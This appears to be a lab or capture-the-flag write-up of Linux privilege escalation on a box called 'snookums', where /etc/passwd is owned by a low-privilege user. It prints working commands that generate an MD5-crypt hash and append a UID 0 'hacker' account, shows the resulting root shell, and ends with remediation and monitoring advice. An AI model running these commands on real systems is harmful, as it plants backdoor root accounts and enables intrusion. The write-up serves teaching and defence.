Some privilege escalation paths need a CVE, an exploit chain, or a fuzzed binary. Others need nothing more than a file permission that was set correctly on every system except this one. /etc/passwd is one of the most sensitive files on any Linux box — and if you can write to it, you can create your own root account and log straight in.
I had a shell as a user called michael on a box named snookums.
The Setup
Enumeration habits die hard, so before touching anything exotic I checked ownership and permissions on the usual sensitive files, starting with /etc/passwd itself:
ls -al /etc/passwd

-rw-r--r--. 1 michael root 1162 Jun 22 2021 /etc/passwd
That single line is the entire vulnerability. Look at the owner field: michael. Not root. /etc/passwd should always be owned by root — that ownership is what normally prevents a regular user from modifying the system’s account database, regardless of the 644 permission bits shown. Because the owner field had somehow been set to my own low-privilege user, the standard owner-write permission bit meant I could edit the file directly, no root required.
Enumeration — Understanding /etc/passwd’s Format
Each line in /etc/passwd follows a fixed, colon-delimited format:
username:password:UID:GID:comment:home_directory:shell
The password field is almost always just x on modern systems, meaning the real hash lives in /etc/shadow instead. But that field can also hold an actual crypt-format hash directly — a legacy behavior still supported for backward compatibility. If it does, the system will authenticate against that hash without ever consulting /etc/shadow. That’s the mechanism I needed: add a new line, give it a real password hash inline, and set its UID and GID to 0.
Exploitation
First, generate a password hash in the classic MD5-crypt format that /etc/passwd understands natively:
openssl passwd -1 -salt password Pass123
This produces a hash like $1$password$8XMwPUo4GjxjYL1DaouYv/ — a valid crypt string for the password Pass123.
Next, append a new user line directly to /etc/passwd, using 0:0 for the UID and GID fields to make the new account fully root-equivalent:
echo 'hacker:$1$password$8XMwPUo4GjxjYL1DaouYv/:0:0:hello:/root:/bin/bash' >> /etc/passwd
Then simply switch to the new account:
su hacker
Password: Pass123
[root@snookums michael]# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
A brand-new, fully privileged root account, created out of thin air, because the file that defines every account on the system trusted my write access.
Why This Works
/etc/passwd is technically world-readable by design — plenty of system utilities need to resolve UID-to-username mappings without root privileges. The security boundary was never about read access; it’s about write access, which is supposed to be locked down to root only. The moment the file’s owner became a regular user, that boundary evaporated. Anyone with write access to /etc/passwd can define an account with UID=0, and the kernel and every downstream tool treats UID 0 as root regardless of the username attached to it — root isn’t special because of its name, it’s special because of the number 0.
Setting the password hash inline instead of using x sidesteps /etc/shadow entirely — su and login will happily authenticate against a plaintext-visible hash sitting right there in a world-readable file.
Root Cause
/etc/passwd had its ownership changed from root:root to michael:root — likely the result of a botched deployment script, a chown run with the wrong argument order, or an image/container base that copied the file with incorrect ownership during provisioning. Whatever the cause, that single ownership change turned a critical system file into an unrestricted root-account factory for any user who happened to be the current owner.
Fix: Restore correct ownership and permissions immediately, and audit for how the misconfiguration was introduced:
chown root:root /etc/passwd
chmod 644 /etc/passwd
Set up integrity monitoring (aide, tripwire, or even a simple periodic stat check in a cron job) on core system files like /etc/passwd and /etc/shadow so an ownership drift like this gets flagged instead of sitting unnoticed for years.
Key Takeaways
- Always check ownership, not just permission bits —
644looks harmless until you notice the owner isn’troot - A writable
/etc/passwdis an instant, guaranteed root compromise: any UID 0 entry you add is treated as a fully privileged account /etc/passwdstill supports inline crypt-format password hashes for backward compatibility — you don’t need write access to/etc/shadowat all- Basic file integrity monitoring on
/etc/passwdand/etc/shadowwould catch this class of misconfiguration immediately
Questions? Hit me up on X.